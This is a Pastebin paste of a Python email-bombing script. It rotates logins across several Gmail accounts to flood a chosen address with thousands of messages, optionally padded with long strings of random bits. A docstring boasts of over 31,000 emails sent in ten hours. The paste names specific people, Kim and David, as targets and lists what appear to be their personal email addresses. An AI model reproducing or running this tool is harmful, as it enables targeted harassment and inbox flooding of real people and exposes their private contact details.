Advertisement
Guest User

Untitled

a guest
Apr 12th, 2017
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.66 KB | None | 0 0
  1. import smtplib
  2. import sys
  3. import time
  4. from random import randint
  5.  
  6. '''
  7. Email´s :
  8.  
  9. 10 Hours of E-mail spam ~ >31000 E-mails
  10.  
  11. < KIM >
  12. kim.philipp@icloud.com
  13.  
  14. < DAVID >
  15. david.aksoy83@googlemail.com
  16. david-aksoy83@gmx.com
  17.  
  18. < MEINE >
  19. s.hawranke0601@gmail.com
  20. s.hawranke0701@gmail.com
  21. s.hawranke0801@gmail.com
  22. email.spam1337@gmail.com
  23. email.spam1336@gmail.com
  24. email.spam1335@gmail.com
  25. email.spam1334@gmail.com
  26.  
  27. '''
  28.  
  29.  
  30. def email_send(my_email, counter, pw, email_target):
  31. which_email = 0
  32. amount_emails = int(input("Please enter the amount of e-mails you wanna send. \n"))
  33. print("- - - - - - - - - - - - - - - - - - - - ")
  34. email_message = input("Enter your email text message. [ Binary, Pic ]\n")
  35. print("- - - - - - - - - - - - - - - - - - - - ")
  36.  
  37. '''writes an binary code in the email message'''
  38. if email_message == "binary":
  39. email_message = binary_message(email_message)
  40. else:
  41. pass
  42. ''' tracks the time '''
  43. start_time = time.time()
  44. while counter <= amount_emails:
  45. if which_email == 4:
  46. which_email = 0
  47. else:
  48. pass
  49. mail = smtplib.SMTP("smtp.gmail.com", 587)
  50. mail.ehlo()
  51. mail.starttls()
  52. mail.login(my_email[which_email], pw[0])
  53. subject = ("%d .e-mail" %(counter))
  54. email_message_and_subject = "Subject: {} \n\n{}".format(subject, email_message)
  55. mail.sendmail(my_email[which_email], email_target, str(email_message_and_subject))
  56. print(counter, "email´s have already been sent")
  57. counter += 1
  58. which_email += 1
  59. now = time.time()
  60. time_difference = now - start_time
  61. print()
  62. time.sleep(0.4)
  63. print(amount_emails, "emails successfully sent ->", email_target, "tooks %2f seconds." % (time_difference,))
  64. print("- - - - - - - - - - - - - - - - - - - - ")
  65.  
  66.  
  67. def email_target_question():
  68. email_target_operation = input("Enter your target email [ David / Kim / Ich / spam acc]\n")
  69. print("- - - - - - - - - - - - - - - - - - - - ")
  70. if email_target_operation == "david":
  71. email_target_operation = ("david.aksoy83@googlemail.com")
  72. elif email_target_operation == "kim":
  73. email_target_operation = ("kim.philipp@icloud.com")
  74. elif email_target_operation == "ich":
  75. email_target_operation = ("s.hawranke0601@gmail.com")
  76. elif email_target_operation == "spam acc":
  77. email_target_operation = ("email.spam1337@gmail.com")
  78. else:
  79. pass
  80. return email_target_operation
  81.  
  82.  
  83. def email_change(email_target, email_send, my_email, counter, pw, email_target_question):
  84. while program_stop == False:
  85.  
  86. email_change_question = input("Do you wanna change the email ? [ Y / N / EXIT ]\n")
  87. print("- - - - - - - - - - - - - - - - - - - - ")
  88.  
  89. if email_change_question == "y":
  90. email_target = email_target_question()
  91. email_send(my_email, counter, pw, email_target)
  92.  
  93. elif email_change_question == "n":
  94. email_send(my_email, counter, pw, email_target)
  95.  
  96. elif email_change_question == "exit":
  97. sys.exit(0)
  98.  
  99.  
  100. def read_password_out_of_file(pw):
  101.  
  102. ''' opens the .txt file as myfile '''
  103. with open("EmailPW.txt", "r") as my_file:
  104. ''' adds the password to the list '''
  105. for passwords in my_file:
  106. pw.append(passwords)
  107. return pw
  108.  
  109.  
  110. def email_run(email_counter, email_target):
  111. while True:
  112. if len(email_counter) == 0:
  113. ''' First program loop '''
  114. email_target = email_target_question()
  115. email_send(my_email, counter, pw, email_target)
  116. email_counter.append(1)
  117. return email_counter
  118. else:
  119. ''' Second and last program loop '''
  120. email_change(email_target, email_send, my_email, counter, pw, email_target_question)
  121.  
  122.  
  123. def binary_message(email_message):
  124. binary_message = []
  125. for i in range(1, 100000):
  126. random_number = randint(0, 1)
  127. binary_message.append(str(random_number))
  128. email_message = str(binary_message[0:-1])
  129. return email_message
  130.  
  131.  
  132. ''' Beginning '''
  133. if __name__ == "__main__":
  134. ''' creates an empty list '''
  135. pw = []
  136. email_target = None
  137. counter = 1
  138. email_counter = []
  139.  
  140. ''' Emails comes From : '''
  141. my_email = ["email.spam1334@gmail.com", "email.spam1335@gmail.com", "email.spam1336@gmail.com", "email.spam1337@gmail.com"]
  142. ''' Gets the password out of the .txt file and saves it in a list '''
  143. read_password_out_of_file(pw)
  144. ''' Program start '''
  145. program_stop = False
  146. while not program_stop:
  147. email_run(email_counter, email_target)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement